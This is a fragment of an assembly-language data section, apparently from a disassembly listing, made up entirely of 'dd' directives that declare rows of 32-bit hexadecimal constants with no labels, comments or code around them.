		dd 0CC505982h, 0C30C7317h, 6469B8D0h, 0BE1D7D0Eh, 9D95A34Eh
		dd 0BDF78033h, 1467047Eh, 0F0F2D48Ch, 511D9EFCh, 8FFA3507h
		dd 0A0A20AF5h, 74300C34h, 18976019h, 0DF8DB0FEh, 0E332C803h
		dd 0F3FF6CA6h, 0BAA09866h, 0B23FCD8h, 6447D40Dh, 929714A0h
		dd 0E3018EBBh, 33ADED81h, 0A180F1B8h, 1AF5EF72h, 95601126h
		dd 5DD6FC60h, 5FD930D3h, 0C43DB941h, 923EDDFEh,	76F09703h
		dd 0D153200h, 0F91A4Ch,	0CC1B47BEh, 0CB9794A3h,	0D31330ECh
		dd 93A8CD14h, 9AFE1803h, 80A8EC49h, 0D2001F48h,	6B13A366h
		dd 4AC3F1F6h, 3D5803F2h, 6990C9B3h, 8B006138h, 0C1B6DA85h
		dd 2551E967h, 8BFC6032h, 9003F316h, 0F3508h, 0B8B965C8h
		dd 361CF00Ch, 7885412Fh, 49901E33h, 0B08A144Dh,	881B2863h
		dd 33FF87C0h, 4283D0FFh, 0B9035FB0h, 0F54EB29Fh, 2E2800F9h
		dd 0CD096A2h, 9200D46Eh, 0CEEC814Ah, 523A598h, 0BC7CE1D2h
		dd 32A440D6h, 0B3DE7FF6h, 0F533BA00h, 6B1C548Eh, 0F7620EB4h
		dd 0E84065CAh, 0BBA1F871h, 809FBC72h, 0E6E78BC4h, 72DB030Dh
		dd 34FCD01Ch, 2D71ADD0h, 0C19A3A00h, 0F1531225h, 58802EE5h
		dd 0BCBD0573h, 480CACEEh, 6DC0004h, 6D558473h, 3B67412h
		dd 7940BC09h, 30008172h, 5C05BF3Bh, 2DD246Fh, 49ADFFAEh
		dd 20D6B178h, 91C0EF20h, 0E2AB7707h, 0D3F30051h, 0E48EB322h
		dd 21036E7Ch, 544BE7A7h, 0BDD000F9h, 989A436Fh,	35B0933Eh
		dd 64E43924h, 26D49680h, 177D4Dh, 0B97A9A10h, 0ADE58AB1h
		dd 0DD8C6300h, 2D0204F5h, 3C700003h, 0DA749681h, 0A9006BEBh
		dd 51BFD23Dh, 18FB1DABh, 118AE9C2h, 7E009F7Bh, 5503A488h
		dd 1C5F4A9h, 0A2791CADh, 0F04B5FECh, 7B00AC77h,	4CF52036h
		dd 4C1DE48Dh, 0F701AD17h, 2F35AE37h, 0C74FE407h, 0B82BAA00h
		dd 24858F5Ah, 8D4E03F8h, 1A825736h, 44D8EDEBh, 0FC00AE67h
		dd 7424EF6Bh, 3DE2AA09h, 3D2616B9h, 0D02600EAh,	0A8854B82h
		dd 27F990C0h, 8CCBBEh, 3CE430B5h, 0EC19738h, 84988661h
		dd 0FF70D043h, 708A18A8h, 121518F7h, 0ED0F747Fh, 1C8D478Bh
		dd 90768700h, 9CFE27h, 82DF4685h, 1CC9895Eh, 0DE130B01h
		dd 93168E30h, 10102C42h, 1084FE3Ch, 8EC66BCh, 0BF0291A9h
		dd 88F0110h, 84581063h,	0AC14D37h, 8C8858DAh, 51F88469h
		dd 0DC043ABh, 0F547F1EBh, 30EF2C51h, 0A78C9712h, 7F20FF59h
		dd 873E21B5h, 854C5004h, 0BB58640Ah, 8D69410h, 84033B91h
		dd 58A7EB3h, 2C0272FBh,	4B69FE7h, 6F204102h, 0A0470AE1h
		dd 0DE55C080h, 32E80FFBh, 0FC00E24Fh, 7074781Eh, 39FD6304h
		dd 8080CC8Bh, 0A25B4C7Bh, 62DF40C0h, 481418A8h,	9A92481Eh
		dd 0FCCA5306h, 1870E2DAh, 0E1E64634h, 6D01BF2Fh, 7D53D17h
		dd 0EA709371h, 0B3B80CA8h, 0FA30ACD7h, 0A16A2300h, 7227F7C8h
		dd 6217066Bh, 0F8FD8298h, 734F6303h, 0EF151A9Fh, 0E3169A52h
		dd 7B64D68Fh, 48D1C08Fh, 1331CD75h, 7FC51E01h, 3A4AC2E6h
		dd 71A996h, 0BF84588Ah,	0C800F8ACh, 8D80C03Fh, 2A2D21EFh
		dd 1ECE8F0h, 77A14A23h,	0E606C57Eh, 0EF2FB480h,	0A0EAD91h
		dd 874BEB7Dh, 0F69084DFh, 12C3B4B2h, 18298D74h,	11DEF923h
		dd 0DDD3B003h, 98B97872h, 730ECCDh, 468B75D8h, 8028BC15h
		dd 226A1800h, 8303F55Eh, 0B13B00D5h, 0B69B01A1h, 710C7A1Fh
		dd 59D8427Eh, 6B813B43h, 2432AD80h, 13DFF45Ah, 0D4BC0F2Ch
		dd 6ECA2804h, 5E61DA80h, 0E52401B0h, 4E237F48h,	0BB2080DFh
		dd 5563597Dh, 1639E889h, 0C1E5D3h, 8242C0E1h, 962ADFF3h
		dd 2F00280Eh, 66609FD3h, 89E42572h, 200ED6CCh, 21A25345h
		dd 3262C49h, 817A013Bh,	0FCB5EA0Dh, 0A714E480h,	28BD06h
		dd 6052CB5Ah, 0A12549FEh, 4F103250h, 0E0BF5A64h, 0E48F9E7Fh
		dd 31E00D6h, 830C06CCh,	0B462E57Dh, 180AC459h, 0EA1A5961h
		dd 6503660h, 7A9B92Ch, 6CD40F2Ah, 11FE0042h, 990405BAh
		dd 0F115688Eh, 584086h,	0B7B2F0C8h, 0FC309DDDh,	8B19E33h
		dd 0E8793F47h, 29CCD0Eh, 91FE5BC0h, 1D0ADA61h, 28146E0Bh
		dd 692A215Eh, 0F336FB80h, 4095DD29h, 5C1E776Ah,	0A94E9913h
		dd 698920C3h, 5627117h,	0E6AA52A2h, 9300FF60h, 25D5A09Eh
		dd 0F750006Fh, 0B27A55F9h, 0A100C2C8h, 6BB1BF1Fh, 9B8CC3h
		dd 975F929Dh, 54823373h, 0EB452B00h, 8878B053h,	91100CDh
		dd 2AC0A2F5h, 0FF00C62Fh, 0ECC7C903h, 0A4DC40Bh, 3A2CB3A0h
		dd 855003B9h, 0AC782F5Bh, 8EF840C0h, 7402DACh, 39B54237h
		dd 3067F65Ah, 72C79D00h, 1453FADFh, 0B5C61870h,	56643937h
		dd 0D204E304h, 2DC07912h, 0AA2524h, 5A90A723h, 0E3280994h
		dd 0C4873AE1h, 0D0FD53E0h, 40A260A1h, 39EC0319h, 68B9C80Fh
		dd 1246054h, 4BA979h
		dd 0EE80822Dh, 0C5C0CF32h, 0EFD0B212h, 81BED50Ch, 0FDD80DD1h
		dd 0E0A86F18h, 0A200D37Eh, 46719FA8h, 0D4277Dh,	0DFBEDCA6h
		dd 1459485Ch, 0A32A8201h, 4FBA01EEh, 0ACCEE0h, 0F6539757h
		dd 422BD2FBh, 1FF9A302h, 0DD30F887h, 4D61A781h,	37E0E086h
		dd 9FC104ADh, 48808ED8h, 0B78BFE80h, 977E93B5h,	0C53AC8F5h
		dd 0BF85B900h, 2523C9A1h, 60E8E6E3h, 923B2979h,	0B400E04Eh
		dd 0A71AACE9h, 6953C7h,	0E705A6B0h, 75301FC2h, 81E2CFEAh
		dd 70EFFD00h, 0BF1C45EDh, 0E487080h, 0E9846104h, 783FD800h
		dd 0EF006E0Ah, 0F308AF93h, 7026A515h, 7F9FF6B6h, 66FD17F9h
		dd 4FC0064h, 8FB1EF22h,	4143EB00h, 6ADE0781h, 1C0F00CCh
		dd 6F8AC4EAh, 2000D89Bh, 91A0FC98h, 0FE35D59Eh,	1FAD007Dh
		dd 0BAA50A3Eh, 3C00A8C0h, 3BE50B2h, 14C8B7h, 868C0221h
		dd 0DF10A95Ah, 0EBFC2971h, 0AFD0CD05h, 0A004FE6Fh, 55C00A65h
		dd 4C7E9Ah, 3B7C54ADh, 0A385FF3Fh, 0E722F803h, 0A8B75BD7h
		dd 6F057Dh, 4EB6F406h, 82739E4Bh, 0AF802FFFh, 0E063A7h
		dd 0F8586E8h, 0E73BF054h, 5A1CDC1Ch, 0BCC0621Dh, 0E8B3658Bh
		dd 0F1E200C5h, 8D0C2378h, 0A20004ECh, 27A574F9h, 3CB3E816h
		dd 0DC8033DDh, 0A9CCBB2Bh, 3500FA4Fh, 67753CB4h, 50B5AA12h
		dd 2CFC72h, 0AD6F71E9h,	519AF309h, 801EF43Fh, 0B9870503h
		dd 322241h, 2C0E4390h, 7A9A0258h, 8C3EBF60h, 0F8119907h
		dd 51A60038h, 29E27408h, 0E600659Dh, 1CE4B06Eh,	7E5EA49h
		dd 8B3D6D53h, 12CE335h,	0EC3278F8h, 0BF0E700h, 0B93CFFADh
		dd 1FC97BEEh, 0BB1C6388h, 22145780h, 36308071h,	19A64807h
		dd 0FB20C201h, 0EFE68Ch, 9AA2BF1h, 1A94D9C7h, 0B0327900h
		dd 4592109Fh, 0EA2601F3h, 7C43A538h, 7FDFE4C8h,	0ACC2F100h
		dd 94DE39AAh, 9A3A0F36h, 6FE0FD57h, 0F3C3DF70h,	0BC40EB05h
		dd 0F4008A4Bh, 46261D47h, 52B8000Ch, 0D44DBB88h, 0B200D9CDh
		dd 1FCC9036h, 39523B1h,	561EE096h, 7AB9D673h, 384AE853h
		dd 94B1A00h, 40A41C4h, 0DC823E05h, 0FB4F01F8h, 0BCA3F0E2h
		dd 881FF83Ah, 9D0C2E0Bh, 0C658005Eh, 38C84687h,	660795E1h
		dd 780EF1h, 7F2DE9CEh, 4562B800h, 12EF3CCFh, 0FC560916h
		dd 53006753h, 0D12A8DDDh, 3739FD7Dh, 0C68703E2h, 0A8E6A32Eh
		dd 63AB4Eh, 8EC3A5DCh, 0C150ACA7h, 596CB00h, 11DB62B4h
		dd 426403C9h, 613C51Fh,	34C4CFA0h, 43AA0E03h, 0C2F2873Dh
		dd 0A6D660FBh, 9A1104B9h, 0C027A0C7h, 8BD7E630h, 0F266F403h
		dd 0A8DEBEF3h, 71724D5Fh, 0E8AB4B51h, 0FDB80050h, 0A0699E40h
		dd 37DB0026h, 36A5C902h, 0EF00552Fh, 3D8F790Ah,	16E8F3h
		dd 47E2DA93h, 0CF5F336Dh, 55D21509h, 8268A076h,	5B1316Ah
		dd 36D9ECE3h, 0EBC200FDh, 0B57A76E2h, 0B8671300h, 0D2F062C0h
		dd 901103BFh, 50BCB56h,	27B6CCD0h, 5C040C79h, 12A29B6Ch
		dd 97D489C3h, 6E77DEE0h, 425A0918h, 0D38091E4h,	58B1BA64h
		dd 7F69D603h, 80361A31h, 5009F8BCh, 9EC16Bh, 936A063Fh
		dd 65B802CBh, 70B1B901h, 0A5443C22h, 9AC55DE0h,	0CBD60060h
		dd 9CE9BACAh, 9A004C74h, 47077173h, 0F3EBD17h, 6AD04542h
		dd 0D239F340h, 870E9D33h, 282EB9Eh, 40FE6BFCh, 341D3Dh
		dd 0F82F357Fh, 0EAC3AA3h, 6AEDE200h, 85E8898h, 0F52D000Dh
		dd 4273D7F6h, 27005D2Ch, 4CA96220h, 34FA9Fh, 0CA71974Eh
		dd 87BFCE4h, 0ABEF9000h, 7DB1A1A3h, 2F5100F0h, 12982C02h
		dd 6D0FFB81h, 0E0AE8377h, 0A24F84EFh, 96760062h, 6A139E25h
		dd 2200BF0Ah, 3D1979EAh, 52855Ch, 99298739h, 0C9EF0369h
		dd 0C18B6200h, 0B98CF0E4h, 0F150076h, 0DB30A5AEh, 0B800055Eh
		dd 816BC871h, 1FC0BFE7h, 8328434Eh, 97104885h, 0EF9CB990h
		dd 7A6FA301h, 3C3F26Eh,	0AE72E8E7h, 91211D15h, 9FF7408Fh
		dd 38AB52ECh, 0F97ADB00h, 627EFAB2h, 7B0400D9h,	0BDA10F7Fh
		dd 250076E8h, 0CF84CD2Ah, 0CAA631h, 58D27487h, 0D7469BCEh
		dd 82A81800h, 0E14FE45Ah, 0C86B1337h, 0A2782048h, 0A5002EACh
		dd 0B8887D0h, 0AE9EDBDh, 0D7B0C3A4h, 1297058Ch,	0CD9B0036h
		dd 0C55D08Ah, 0AA2F3400h, 0EDAD9F1Ah, 0ED6F69Eh, 0E759220h
		dd 546A809Fh, 555FE826h, 87FCFA00h, 93676F1Bh, 7D7703D2h
		dd 25AA8B07h, 40B0ABDBh, 6E005E47h, 79E6E19Ch, 1D4B8Eh
		dd 0A1B1ED17h, 895D6F38h, 0ECF9348h, 40CE5582h,	4AF54EC1h
		dd 481301EBh, 0C7242C0Fh, 61F3C01Ch, 0E4D8DC00h, 973A75D3h
		dd 854D0069h, 364B8F42h, 96008338h, 66E773C0h, 0C145F7h
		dd 0C6FE2029h, 7BB0F9Ah, 14DDEB00h, 251EBF1Bh, 3A20C068h
		dd 0FE1CA55Fh, 0B1735700h, 30D63149h, 0E0FB00E3h, 61EDB64Eh
		dd 850102A4h, 6E71F1Ch,	0C4D8C87Bh, 46971F3Dh, 406D1DCCh
		dd 0E2F7CB4Ch, 1407D25Eh, 0F8F3DA71h, 6C667560h, 72AB0BD0h
		dd 47800105h, 6E4FFF37h, 5C7C063Dh, 3E1160A8h, 0E9CA83F5h
		dd 0A1B08180h, 2C4EE134h, 0C6735C00h, 0C2E9176Dh, 3DB53E5Bh
		dd 0AF0444BAh, 0EF3B68A4h, 556D60C1h, 0BBB7A0F7h, 2F860022h
		dd 3E042BDAh, 0C217D00Ch, 0E04C8D8Ah, 0A6950A3h, 60A98473h
		dd 6C19020Ch, 40C0F791h, 79004895h, 5577E851h, 312B726h
		dd 0D018C856h, 8EBA7B85h, 0CCC03EE2h, 0D300F925h, 30DE28DBh
		dd 953393h, 55D7203Fh, 0F79018ABh, 0C1BAB203h, 0E84BF846h
		dd 4A8F8Dh, 6A5CE0AAh, 0FA2B1A53h, 8BD04901h, 7027B1FDh
		dd 482C70h, 0E0EB0EC7h,	3AB47953h, 0A4C07200h, 19CDC9B5h
		dd 0C82B587Fh, 0D61BEB04h, 0A04EC063h, 3224C674h, 0D400746Dh
		dd 0F9A5E102h, 5B580783h, 0B12C3EECh, 0C8792A9Ch, 7B00B3F2h
		dd 0BDD02159h, 9893094h, 422DE4E0h, 1F862180h, 7871E51Ch
		dd 0BBFD501Dh, 0D4491741h, 96C8B007h, 0CCB8A8BCh, 0B2E3001Bh
		dd 34C56165h, 0B008C95h, 0C9C6E266h, 7F16AAh, 0CFD0A5Ah
		dd 0F6DB51FBh, 0FACFBE00h, 9BB91860h, 15C4A878h, 6102002Eh
		dd 68FB2AE4h, 24005B77h, 8C09DD7h, 3A463A3Dh, 1E0248FAh
		dd 59C4CE1Ah, 0C7E0C280h, 4A00E1BFh, 89B5703Fh,	2E91436h
		dd 43C0D4F0h, 88AEA4A6h, 0CAC17440h, 0D6071F88h, 16BA63B4h
		dd 0B63D4B00h, 0FD6B00DDh, 24F72617h, 0F30022FFh, 0D66F11C5h
		dd 1EBCCA51h, 4BF88719h, 8401A1F2h, 0F401919Fh,	0C00039E7h
		dd 0B56976B4h, 0DAA77Fh, 0E3901003h, 8DE7E153h,	37E9B300h
		dd 5B623286h, 7684E8F3h, 3051FB9h, 0EC8A804Eh, 0C6348F3Ch
		dd 3F0E85F8h, 80F5FFACh, 0B8FA67FDh, 0A5BE0002h, 90541246h
		dd 0E4004EFEh, 36FBBF5Eh, 0BB099Dh, 0C2E82B62h,	0AEB959EEh
		dd 9F687A00h, 101518BFh, 560A0E22h, 6020A455h, 8E81B687h
		dd 48F43C30h, 7C23F6h, 0DE1BA3F3h, 718BC39Eh, 6189C000h
		dd 0BB2860B3h, 709F0B1h, 2FD0E403h, 34E08EADh, 2535B316h
		dd 1DF55700h, 5EEE3F2Eh, 0E35D0104h, 7B2067F6h,	0ABF9FCFAh
		dd 0FF9E1B1Dh, 9FF5BA00h, 1844B0C8h, 0A8D8C95Dh, 0B700C088h
		dd 592BD052h, 1DE00361h, 36E89A1h, 0D5887442h, 0B91426D0h
		dd 0B839BF30h, 56B3BEh,	0EC2F5FC0h, 0C6F247E6h,	0C2F81200h
		dd 8A91BC63h, 79230077h, 4F3AD2C5h, 6F00EF70h, 0D471A103h
		dd 4875F7h, 0D0562272h,	4DB71FC4h, 50CA8E00h, 0EE618242h
		dd 112E849h, 4EE296C6h,	0D0C56898h, 0F7006C70h,	5D031C9Eh
		dd 0EB22AFh, 31E5AC72h,	0F87D750Ah, 1CABA3Bh, 704801CFh
		dd 3880C8D2h, 0E5FA23EFh
		dd 6E4334Ah, 8572F800h,	5AAF0F14h, 74EF076Fh, 0A346DA7Ah
		dd 0C1E9B7DBh, 0BF8530FAh, 0E160B9F8h, 0D46B3250h, 44970031h
		dd 714B9896h, 350742D8h, 0B36DFC8Eh, 1A7B0DA0h,	3D040C95h
		dd 0D0EAEEA8h, 0DF7A9FB8h, 5DC8F900h, 0AA3BDDD4h, 8D690E31h
		dd 0FDE1D35Bh, 0E0EDF848h, 0C00062BFh, 0FF48B60h, 9DBA6Ch
		dd 55881FBh, 7047E70Dh,	0A8016875h, 4EE6EF65h, 9447AFB1h
		dd 59306FC0h, 0EAD30053h, 8EE7659Fh, 3300B2A7h,	8DF41DDEh
		dd 35367A4h, 41AA484Bh,	0FDE89729h, 5481570h, 19A70717h
		dd 0E42185D1h, 94FCCAA1h, 0F2CB00F6h, 3698B518h, 2F30A7C6h
		dd 8AF1A8Bh, 64FC00B8h,	57BBC71h, 0B6E6D45Eh, 38E163Bh
		dd 0A80F0EECh, 0C78FD855h, 0F4B800C8h, 0FDF0626Eh, 6000162Bh
		dd 0EC4CEE49h, 14436C8Fh, 20E66120h, 42487BF0h,	0F83A6142h
		dd 250086BFh, 9B64FB89h, 3700E407h, 513A912Ah, 753CB860h
		dd 301190C5h, 0F048D545h, 4C3A0425h, 2DEA8077h,	0BCB05C8Dh
		dd 0B40E0021h, 0C3F58427h, 5A0051A7h, 0FDCB8AFh, 0F05F569Ah
		dd 0B76C18B0h, 4AFF086Dh, 26241A38h, 91D4D08h, 0BD8EEA00h
		dd 0E07511Eh, 2AC975E9h, 45612480h, 805EC64h, 0C827A4D5h
		dd 0D41A401h, 50B9FE2Ch, 0E9D9900Ah, 61F402A8h,	8C804768h
		dd 201F5403h, 4FFDAD0Dh, 0B8872056h, 20DC865Ch,	0D9F69A45h
		dd 0BE4BF70h, 0ADF480ACh, 329E2008h, 0FEE3D080h, 6C94ED00h
		dd 35727169h, 0D226009Fh, 0C8789C4Fh, 5F87737h,	0FF555100h
		dd 0F09FB41Ah, 682005DBh, 80867E54h, 2FA84305h,	605E0E00h
		dd 0A7CAE10Bh, 79F00FAh, 2AEFBF6Bh, 19050520h, 8D5DF917h
		dd 0A2FB000h, 0F612249Fh, 204AF174h, 22E9842Eh,	0F7320h
		dd 628D5CD1h, 237EF096h, 8A0A30FCh, 0CC70215Eh,	631DA620h
		dd 3D0172FBh, 0E1B465A5h, 0A88EC7F0h, 59D2DCh, 248319EDh
		dd 0C698EBC8h, 3BD57901h, 0EEC90662h, 5472880h,	25E929CEh
		dd 6D38DE60h, 773D3Eh, 3FB75C6h, 0A310DC28h, 300C4004h
		dd 1E80CF24h, 64178Fh, 0D5B6E9B2h, 5474BC72h, 447F6704h
		dd 0E0C09728h, 0AB4D56h, 0C48ADB73h, 0C5A377F5h, 6C785B0Eh
		dd 6D3D865Ah, 95490070h, 5867A1DEh, 0D4A3DCD8h,	0F455B9E1h
		dd 0C60FD1C7h, 8F63536Bh, 8037A007h, 90DF59D0h,	0F6F67Dh
		dd 283C832Dh, 5E24DB53h, 0FA9C9E04h, 93C13238h,	0E8C8C04Ah
		dd 7DCD005Fh, 66C8ACD2h, 9C008653h, 0ABEC8724h,	173907BEh
		dd 0BD2232h, 0C5B75522h, 5A7A78C1h, 87E02F3Bh, 0D3AF3631h
		dd 1E7E3340h, 0DF80000Fh, 7C8D5FC2h, 7700D8B5h,	134E6575h
		dd 38FFB7h, 0E1C9E42Dh,	4D52EB56h, 0F4E5ED00h, 5A6A0190h
		dd 0E3B20094h, 9678EF49h, 0C8F2D1A8h, 55524500h, 0D256A106h
		dd 858C085h, 3E596219h,	417E6A73h, 1B0CC48h, 7922AE75h
		dd 3AD47C8Ch, 0F4783CC2h, 80066A94h, 1F264300h,	0A8CE5886h
		dd 0D0759E00h, 5DB5EFE0h, 0A9390008h, 8FF46944h, 9F766D2Ch
		dd 5F577700h, 219C0EF8h, 17F701B0h, 2D1370F4h, 500448F3h
		dd 15F2EB3Eh, 0E90CF602h, 403008A3h, 0EC207AA2h, 9815D300h
		dd 140AA091h, 22580A26h, 840CB91Ah, 442A66D6h, 0C223DE24h
		dd 0C57C21C4h, 6222FA08h, 0BA872125h, 3030860Ah, 0AD9A804h
		dd 0DB475E40h, 2CF8196Dh, 0AA0CD550h, 43D76922h, 0EE20CE1h
		dd 42F64929h, 73CE14E0h, 0E20B1418h, 5A50773Ch,	0EE50F80Ch
		dd 5D42A618h, 7654AD2Ah, 0D87C12h, 4849B425h, 0E5DD4FEBh
		dd 0BED42D00h, 3A0B28FCh, 0E18C24Eh, 83E3BDC3h,	43E1EEE0h
		dd 9B16C9E0h, 0EF2D14h,	0DD7FF941h, 0E40A9ED4h,	0FC1217E9h
		dd 8D8B6803h, 243A857h,	991400ACh, 237AB156h, 6C033964h
		dd 0A798A8C1h, 815DB8BCh, 6A770007h, 0CF7E452Ch, 0A81D0312h
		dd 80002B7Dh, 0BA4395E8h, 0DBB6002Ah, 68DE45DFh, 0A37A6CF6h
		dd 64C5953h, 4B821D21h,	75B00C0h, 89AD209h, 8928B6F9h
		dd 3F0084B2h, 0BFB02316h, 7FF25B81h, 69EE07A6h,	0D757C70Dh
		dd 7598B149h, 47DDC8ACh, 7E895A00h, 33AE0B88h, 7F262BFFh
		dd 8145041Ch, 3CE3848h,	0A01CDA71h, 0C097EB32h,	46A66B37h
		dd 81443F0Ah, 92F8C054h, 9FEC00A4h, 784A1B7Dh, 750DE71Dh
		dd 294C4907h, 0AD93ECh,	0B46A6640h, 30A3F322h, 0C9B0C600h
		dd 950226F1h, 0C7F614BBh, 80C05C79h, 7830E141h,	4750770Fh
		dd 6B4801Dh, 54487Ah, 0BC293891h, 8FA5DFC9h, 0EB453400h
		dd 4E42C46Ch, 97C63C01h, 235E12h, 0BF7D06C0h, 2701F4F0h
		dd 18257858h, 17C0CA91h, 73471811h, 946A282Ah, 96993Dh
		dd 1C7770B0h, 5222835h,	0FE52D8C5h, 70582B1Fh, 70B1C146h
		dd 4C4B26h, 61CE3544h, 6E43A2h,	91C6CF36h, 9DD358D7h, 9370F500h
		dd 1DBC0249h, 38C748E5h, 40C5BA12h, 0ADC9783Ch,	7614E359h
		dd 3CC46E6h, 89BC2C94h,	0FBC6885Ch, 1ECE3F86h, 0D58E4D00h
		dd 0C49AA0Eh, 81747A48h, 296F1211h, 40778E0Bh, 493EE6E8h
		dd 90B0046h, 58639310h,	4000F00Dh, 2D45CFEBh, 6267E9E3h
		dd 1C19039h, 0BC48A468h, 0FDF51802h, 40C5025Dh,	5091DCh
		dd 0E8298C9Eh, 31D934F1h, 0B8AC7552h, 456E02C4h, 30DB0A3Fh
		dd 8ACE9040h, 0C9609491h, 93B5D6FAh, 994502D4h,	44BF885Fh
		dd 50AEA6BDh, 7E606E80h, 266B4C75h, 58046506h, 2304525Fh
		dd 510437DAh, 54416EC0h, 0C6F700A8h, 4B78BCBFh,	0E89131F3h
		dd 911C1A70h, 0FC30E0DCh, 0BA0072C8h, 0CA706C7Eh, 29A23968h
		dd 4084F193h, 90B9DB49h, 0C44A4E00h, 0BB8F8ACDh, 0D54D001Ch
		dd 0B670B745h, 0FF007A96h, 8106144Fh, 762982h, 908FD25Ch
		dd 19A9CD20h, 22ECB08h,	79130094h, 0F7A5ED4h, 6C2BD000h
		dd 78ADCDBBh, 721A02DDh, 49294C3Ch, 33E0D080h, 0E400470Dh
		dd 869C2685h, 9183B16Eh, 0D4135664h, 830AE44h, 1E0E044Ch
		dd 7879F088h, 5B561500h, 866F7534h, 78CBFC01h, 615A70C1h
		dd 8AB80C22h, 26640B58h, 0CB04EC84h, 7746B7A6h,	0DE02A07Bh
		dd 5643EC8Dh, 3FE46AFFh, 0BFEA80FCh, 0C3F7D038h, 0A5C5F10Ah
		dd 4880F49Ch, 2DCC1C8Dh, 7B1B2916h, 0EBD26080h,	772CC155h
		dd 0BDE28A2h, 0EF077E8Ah, 9088E81Ch, 6800CE30h,	33DC1DAEh
		dd 3491455h, 5429E986h,	101E9CFDh, 0CF04E215h, 0FC019D01h
		dd 8BE1DBAh, 6FDF282Dh,	104F60C4h, 4C5EE065h, 22EA41C5h
		dd 2090C04Bh, 0E9A4F1FCh, 61A32EA1h, 12F001B0h,	2217F83Dh
		dd 2C3A0140h, 0ED68A003h, 0F2ABE420h, 0B33781Eh, 130D9318h
		dd 56B554A0h, 165CB4AFh, 753303BCh, 0D1A5ED22h,	0E43090C9h
		dd 15BB076Eh, 0E15F8165h, 40DC3293h, 0CB7A63C0h, 91F2E4h
		dd 4688033Ch, 1CFF60DFh, 0F150B8h, 0B739BB6Fh, 1A600129h
		dd 0C9C7BDA0h, 0ADC2A72h, 0B1241FE4h, 0B0CE5596h, 2C1A3209h
		dd 2AE0901Bh, 0F4002065h, 0ACF5C8B5h, 1B852C9h,	12C62FCAh
		dd 0C05DDF8Bh, 3C4A511Dh, 1C58043h, 0F4200036h,	0C890A919h
		dd 78F0D9A6h, 9C0E1DFCh, 58A49591h, 3B1744C8h, 0F100D5DEh
		dd 2D465BC8h, 4D00AFA9h, 20E1E3A3h, 0C0B01040h,	7FC41810h
		dd 84008781h, 9697DB3Fh, 26655A4h, 4392C501h, 0D8821DACh
		dd 24A02B18h, 44EDC831h, 1C85B62Ah, 2C8D352Ch, 0ABEAD202h
		dd 6818AD14h, 1800F244h, 15A4B0AAh, 0C5E6154Fh,	609854F2h
		dd 18A642B5h, 3263F502h, 0B9F972C6h, 0C9A2D730h, 0F2D53430h
		dd 601876C8h, 69CCAD14h, 0BE0A9218h, 0A5348D0h,	496AA760h
		dd 0C6954248h
		dd 252DC81h, 0FF3059ACh, 756030E5h, 133CF39Fh, 2CC8CDh
		dd 0C4FAD50Dh, 0F19DBB52h, 7861B44Bh, 48C0CECFh, 0C665554h
		dd 52388841h, 0B582706Dh, 409053BDh, 0A0AD9135h, 34BCC78Ah
		dd 0D091190Ah, 13FD7200h, 14BAE26Dh, 90594D14h,	20CF5D7Bh
		dd 0C6310D01h, 4E54BD32h, 295D3944h, 0F5002C69h, 0ED14AA60h
		dd 18DD49E8h, 67E79FA0h, 0D5241CA4h, 570270E0h,	16CD2313h
		dd 275C71C2h, 20B5188Bh, 0D1D6898h, 0AD06A981h,	0F3109A16h
		dd 0FD4DB88Ah, 45F212C4h, 1E749200h, 0AB02A94h,	23585AADh
		dd 0D876150h, 63951868h, 392DD8ABh, 636C5047h, 0BD45CDA0h
		dd 43751C20h, 0F868C9BEh, 0C68D1001h, 3ECDE056h, 28B8E850h
		dd 0BEA2B4A3h, 38EDC885h, 0E447EF98h, 258A5500h, 90FFED2Bh
		dd 370A60C0h, 4C7D2C6h,	0FA92C4F9h, 34608135h, 86303030h
		dd 41C280A3h, 97CD9083h, 9E498Fh, 3585B485h, 0EC06991Ch
		dd 6238536Bh, 6C92B829h, 0A56D1848h, 4C24A8A7h,	1FBD7650h
		dd 714E0C11h, 30AC2BC8h, 44A69178h, 8D3C9C03h, 9940D45h
		dd 0E6380980h, 67067016h, 263D9CCAh, 0A1150950h, 0B881E61Eh
		dd 0FAB2B52Ah, 427AA894h, 3DE7E801h, 1DE0F5A5h,	1E64588Ah
		dd 49DF5018h, 40C80918h, 148BD560h, 0D4D74558h,	78277EA0h
		dd 58E81633h, 0E61BC9B5h, 6DC01422h, 0E9265999h, 209528C1h
		dd 3432E61Fh, 2BC107C0h, 3C00CCD5h, 1C5775A5h, 0CAC2F745h
		dd 0C054B708h, 8D0D5464h, 0ACA0E2F8h, 4357E4D6h, 18065814h
		dd 3581FA27h, 0F2A8C58Bh, 49983CDAh, 83EBD508h,	0F21500E5h
		dd 0B3D2B493h, 0F483258h, 5B52BECh, 4C2858D1h, 0E1B004F4h
		dd 0C09265ACh, 0B4D99D10h, 0EB1603ECh, 39FD1743h, 0AC68EC14h
		dd 0B88051E3h, 0C0A92225h, 52F04395h, 774521A0h, 948DE93Bh
		dd 0C01CF537h, 65DF3F38h, 14904C21h, 3A9CE328h,	91771F37h
		dd 0B84F6038h, 0C92EC38h, 71D0951Ah, 66894A8h, 3139B616h
		dd 7513D068h, 5460582Fh, 61873F27h, 82552125h, 60E09A1Bh
		dd 74F41650h, 0ADA1245Eh, 635851Ch, 0AC4382Eh, 9A4AD61Dh
		dd 31155830h, 50B55727h, 18D26C2Eh, 0FCF52995h,	81282652h
		dd 930DA211h, 42ECD510h, 30CD8CA2h, 0E621D40Fh,	26306968h
		dd 9A0F0B5h, 8C83AD8Dh,	813F64Dh, 400A16Dh, 472AA76Bh
		dd 66C038Bh, 1FE22B4Eh,	98DACBC0h, 0EA45F0F1h, 0B36B150Eh
		dd 220792D0h, 0A6434C7Ah, 20ABE0E9h, 67CBF8E8h,	860B28C7h
		dd 0CD6018D7h, 29E24B10h, 0E0CF047h, 0F2B5AD8h,	88003E5Eh
		dd 0D1CB4681h, 803EBC13h, 0E01EF4AEh, 0F381B25h, 14C95E9Fh
		dd 800174C6h, 60C7742Ah, 40D08EE4h, 0E04F7CE5h,	4015660Ah
		dd 3BE02024h, 2031C27Ch, 26E00836h, 0A40318BAh,	19C0D93Ch
		dd 1B603018h, 1579109h,	811140C9h, 8F24E0BBh, 1F827091h
		dd 7560141Fh, 0AB08C7E2h, 5020C386h, 2C312874h,	1AA43041h
		dd 3C2D40E0h, 9A0FC78Ah, 0C886BB85h, 5E3088C1h,	5444B88Bh
		dd 9B593C47h, 0CA7918F4h, 5313105Dh, 0E63E19F8h, 0D2F91B51h
		dd 1406E008h, 0F74C0120h, 0D96C1F8Ah, 0FD0CE02Eh, 3BF8E378h
		dd 0AC182878h, 8F181688h, 0EB4600E1h, 0EC1FE718h, 0F82EB0BCh
